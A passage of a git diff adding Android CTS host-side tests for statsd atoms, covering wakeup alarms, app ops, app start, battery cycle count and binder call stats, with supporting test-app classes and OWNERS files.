+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncAdapter.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *          http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.accounts.Account;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.SyncResult;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+
+import org.junit.Assert;
+
+import java.util.concurrent.CountDownLatch;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Sync adapter for the sync test.
+ */
+public class StatsdSyncAdapter extends AbstractThreadedSyncAdapter {
+    private static final String TAG = "AtomTestsSyncAdapter";
+
+    private static final int TIMEOUT_SECONDS = 60 * 2;
+
+    private static CountDownLatch sLatch;
+
+    private static final Object sLock = new Object();
+
+
+    public StatsdSyncAdapter(Context context) {
+        // No need for auto-initialization because we set isSyncable in the test anyway.
+        super(context, /* autoInitialize= */ false);
+    }
+
+    @Override
+    public void onPerformSync(Account account, Bundle extras, String authority,
+            ContentProviderClient provider, SyncResult syncResult) {
+        try {
+            Thread.sleep(500);
+        } catch (InterruptedException e) {
+        }
+        synchronized (sLock) {
+            Log.i(TAG, "onPerformSync");
+            if (sLatch != null) {
+                sLatch.countDown();
+            } else {
+                Log.w(TAG, "sLatch is null, resetCountDownLatch probably should have been called");
+            }
+        }
+    }
+
+    /**
+     * Request a sync on the given account, and wait for it.
+     */
+    public static void requestSync(Account account) throws Exception {
+        final Bundle extras = new Bundle();
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_BACKOFF, true);
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
+
+        ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
+    }
+
+    public static CountDownLatch resetCountDownLatch() {
+        synchronized (sLock) {
+            if (sLatch == null || sLatch.getCount() == 0) {
+                sLatch = new CountDownLatch(1);
+            }
+        }
+        return sLatch;
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncService.java
new file mode 100644
index 0000000..6270987
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncService.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+/**
+ * Service for the sync test.
+ */
+public class StatsdSyncService extends Service {
+
+    private static StatsdSyncAdapter sAdapter;
+
+    @Override
+    public synchronized IBinder onBind(Intent intent) {
+        if (sAdapter == null) {
+            sAdapter = new StatsdSyncAdapter(getApplicationContext());
+        }
+        return sAdapter.getSyncAdapterBinder();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/VideoPlayerActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/VideoPlayerActivity.java
new file mode 100644
index 0000000..28bd63b
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/VideoPlayerActivity.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.widget.VideoView;
+
+public class VideoPlayerActivity extends Activity {
+    private static final String TAG = VideoPlayerActivity.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_PLAY_VIDEO = "action.play_video";
+    public static final String ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE =
+            "action.play_video_picture_in_picture_mode";
+
+    public static final int DELAY_MILLIS = 2000;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Intent intent = this.getIntent();
+        if (intent == null) {
+            Log.e(TAG, "Intent was null.");
+            finish();
+        }
+
+        String action = intent.getStringExtra(KEY_ACTION);
+        Log.i(TAG, "Starting " + action + " from foreground activity.");
+
+        switch (action) {
+            case ACTION_PLAY_VIDEO:
+                playVideo();
+                break;
+            case ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE:
+                playVideo();
+                this.enterPictureInPictureMode();
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action " + action);
+                finish();
+        }
+        delay();
+    }
+
+    private void playVideo() {
+        setContentView(R.layout.activity_main);
+        VideoView videoView = (VideoView)findViewById(R.id.video_player_view);
+        videoView.setVideoPath("android.resource://" + getPackageName() + "/" + R.raw.colors_video);
+        videoView.start();
+    }
+
+    private void delay() {
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                SystemClock.sleep(DELAY_MILLIS);
+                return null;
+            }
+            @Override
+            protected void onPostExecute(Void nothing) {
+                finish();
+            }
+        }.execute();
+    }
+}
+
+
+
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/WakelockLoadTestRunnable.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/WakelockLoadTestRunnable.java
new file mode 100644
index 0000000..b359ced
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/WakelockLoadTestRunnable.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.content.Context;
+import android.os.PowerManager;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+
+public class WakelockLoadTestRunnable implements Runnable {
+    String tag;
+    CountDownLatch latch;
+    WakelockLoadTestRunnable(String t, CountDownLatch l) {
+        tag = t;
+        latch = l;
+    }
+    @Override
+    public void run() {
+        Context context = InstrumentationRegistry.getContext();
+        PowerManager pm = context.getSystemService(PowerManager.class);
+        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, tag);
+        long sleepTimeNs = 700_000;
+
+        for (int i = 0; i < 1000; i++) {
+            wl.acquire();
+            long startTime = System.nanoTime();
+            while (System.nanoTime() - startTime < sleepTimeNs) {}
+            wl.release();
+            startTime = System.nanoTime();
+            while (System.nanoTime() - startTime < sleepTimeNs) {}
+        }
+        latch.countDown();
+    }
+
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/OWNERS
new file mode 100644
index 0000000..daf163a
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/OWNERS
@@ -0,0 +1,2 @@
+# Owners of the WakeupAlarmOccurred atom
+suprabh@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/WakeupAlarmStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/WakeupAlarmStatsTests.java
new file mode 100644
index 0000000..bc97dc2
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/WakeupAlarmStatsTests.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.alarm;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class WakeupAlarmStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testWakeupAlarm() throws Exception {
+        // For automotive, all wakeup alarm becomes normal alarm. So this
+        // test does not work.
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        final int atomTag = AtomsProto.Atom.WAKEUP_ALARM_OCCURRED_FIELD_NUMBER;
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWakeupAlarm");
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isAtLeast(1);
+        for (int i = 0; i < data.size(); i++) {
+            AtomsProto.WakeupAlarmOccurred wao = data.get(i).getAtom().getWakeupAlarmOccurred();
+            assertThat(wao.getTag()).isEqualTo("*walarm*:android.cts.statsdatom.testWakeupAlarm");
+            assertThat(wao.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
new file mode 100644
index 0000000..2e5d628
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.appops;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.protobuf.Descriptors;
+
+import java.util.ArrayList;
+
+public class AppOpsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final int NUM_APP_OPS = AtomsProto.AttributedAppOps.getDefaultInstance().getOp().
+            getDescriptorForType().getValues().size() - 1;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testAppOps() throws Exception {
+        // Set up what to collect
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.APP_OPS_FIELD_NUMBER);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testAppOps");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Pull a report
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        ArrayList<Integer> expectedOps = new ArrayList<>();
+        for (int i = 0; i < NUM_APP_OPS; i++) {
+            expectedOps.add(i);
+        }
+
+        for (Descriptors.EnumValueDescriptor valueDescriptor :
+                AtomsProto.AttributedAppOps.getDefaultInstance().getOp().getDescriptorForType()
+                        .getValues()) {
+            if (valueDescriptor.getOptions().hasDeprecated()) {
+                // Deprecated app op, remove from list of expected ones.
+                expectedOps.remove(expectedOps.indexOf(valueDescriptor.getNumber()));
+            }
+        }
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+
+            AtomsProto.AppOps appOps = atom.getAppOps();
+            if (appOps.getPackageName().equals(DeviceUtils.STATSD_ATOM_TEST_PKG)) {
+                if (appOps.getOpId().getNumber() == -1) {
+                    continue;
+                }
+                long totalNoted = appOps.getTrustedForegroundGrantedCount()
+                        + appOps.getTrustedBackgroundGrantedCount()
+                        + appOps.getTrustedForegroundRejectedCount()
+                        + appOps.getTrustedBackgroundRejectedCount();
+                assertWithMessage("Operation in APP_OPS_ENUM_MAP: " + appOps.getOpId().getNumber())
+                        .that(totalNoted - 1).isEqualTo(appOps.getOpId().getNumber());
+                assertWithMessage("Unexpected Op reported").that(expectedOps).contains(
+                        appOps.getOpId().getNumber());
+                expectedOps.remove(expectedOps.indexOf(appOps.getOpId().getNumber()));
+            }
+        }
+        assertWithMessage("Logging app op ids are missing in report.").that(expectedOps).isEmpty();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/OWNERS
new file mode 100644
index 0000000..0aad9d8
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/OWNERS
@@ -0,0 +1,5 @@
+# Owners of the appops atom
+zholnin@google.com
+cmartella@google.com
+shiwangishah@google.com
+moltmann@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
new file mode 100644
index 0000000..1539a9d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.appstart;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class AppStartStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testAppStartOccurred() throws Exception {
+        final int atomTag = AtomsProto.Atom.APP_START_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.sleep_top", 3_500);
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        AtomsProto.AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
+        assertThat(atom.getPkgName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertThat(atom.getActivityName())
+                .isEqualTo("com.android.server.cts.device.statsdatom.StatsdCtsForegroundActivity");
+        assertThat(atom.getIsInstantApp()).isFalse();
+        assertThat(atom.getActivityStartMillis()).isGreaterThan(0L);
+        assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/OWNERS
new file mode 100644
index 0000000..fbc135f
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/OWNERS
@@ -0,0 +1,3 @@
+# Owners of the AppStartOccurred atom
+jjaggi@google.com
+riddlehsu@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/BatteryCycleStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/BatteryCycleStatsTests.java
new file mode 100644
index 0000000..f74103c
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/BatteryCycleStatsTests.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.batterycycle;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class BatteryCycleStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    private static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    // This test is for the pulled battery charge count atom.
+    public void testBatteryCycleCount() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.BATTERY_CYCLE_COUNT_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getBatteryCycleCount().hasCycleCount()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getBatteryCycleCount().getCycleCount()).isAtLeast(0);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/OWNERS
new file mode 100644
index 0000000..2267748
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/OWNERS
@@ -0,0 +1,3 @@
+# Owners of the battery cycle atom.
+achant@google.com
+apelosi@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/BinderStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/BinderStatsTests.java
new file mode 100644
index 0000000..b846743
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/BinderStatsTests.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.binderstats;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.BinderCalls;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.collect.Range;
+
+import java.util.List;
+
+public final class BinderStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testBinderStats() throws Exception {
+        try {
+            DeviceUtils.unplugDevice(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            enableBinderStats();
+            binderStatsNoSampling();
+            resetBinderStats();
+
+            StatsdConfig.Builder config =
+                    ConfigUtils.createConfigBuilder(DeviceUtils.STATSD_ATOM_TEST_PKG);
+            ConfigUtils.addGaugeMetricForUidAtom(config, Atom.BINDER_CALLS_FIELD_NUMBER,
+                    /*uidInAttributionChain=*/false, DeviceUtils.STATSD_ATOM_TEST_PKG);
+            ConfigUtils.uploadConfig(getDevice(), config);
+
+            DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    "StatsdCtsForegroundActivity", "action", "action.show_notification", 3_000);
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            boolean found = false;
+            int appUid = DeviceUtils.getAppUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG);
+            for (Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+                BinderCalls calls = atom.getBinderCalls();
+                assertThat(calls.getUid()).isEqualTo(appUid);
+                boolean classMatches = calls.getServiceClassName().contains(
+                        "com.android.server.notification.NotificationManagerService");
+                boolean methodMatches = calls.getServiceMethodName()
+                        .equals("createNotificationChannels");
+                if (classMatches && methodMatches) {
+                    found = true;
+                    assertThat(calls.getRecordedCallCount()).isGreaterThan(0L);
+                    assertThat(calls.getCallCount()).isGreaterThan(0L);
+                    assertThat(calls.getRecordedTotalLatencyMicros())
+                        .isIn(Range.open(0L, 1000000L));
+                    assertThat(calls.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
+                }
+            }
+
+            assertWithMessage(String.format("Did not find a matching atom for uid %d", appUid))
+                .that(found).isTrue();
+          } finally {
+            disableBinderStats();
+            plugInAc();
+          }
+    }
+
+    private void enableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
+    }
+
+    private void resetBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
+    }
+
+    private void disableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
+    }
+
+    private void binderStatsNoSampling() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
+    }
+
+    private void plugInAc() throws Exception {
+        getDevice().executeShellCommand("cmd battery set ac 1");
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/LooperStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/LooperStatsTests.java
new file mode 100644
index 0000000..23967d4
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/LooperStatsTests.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
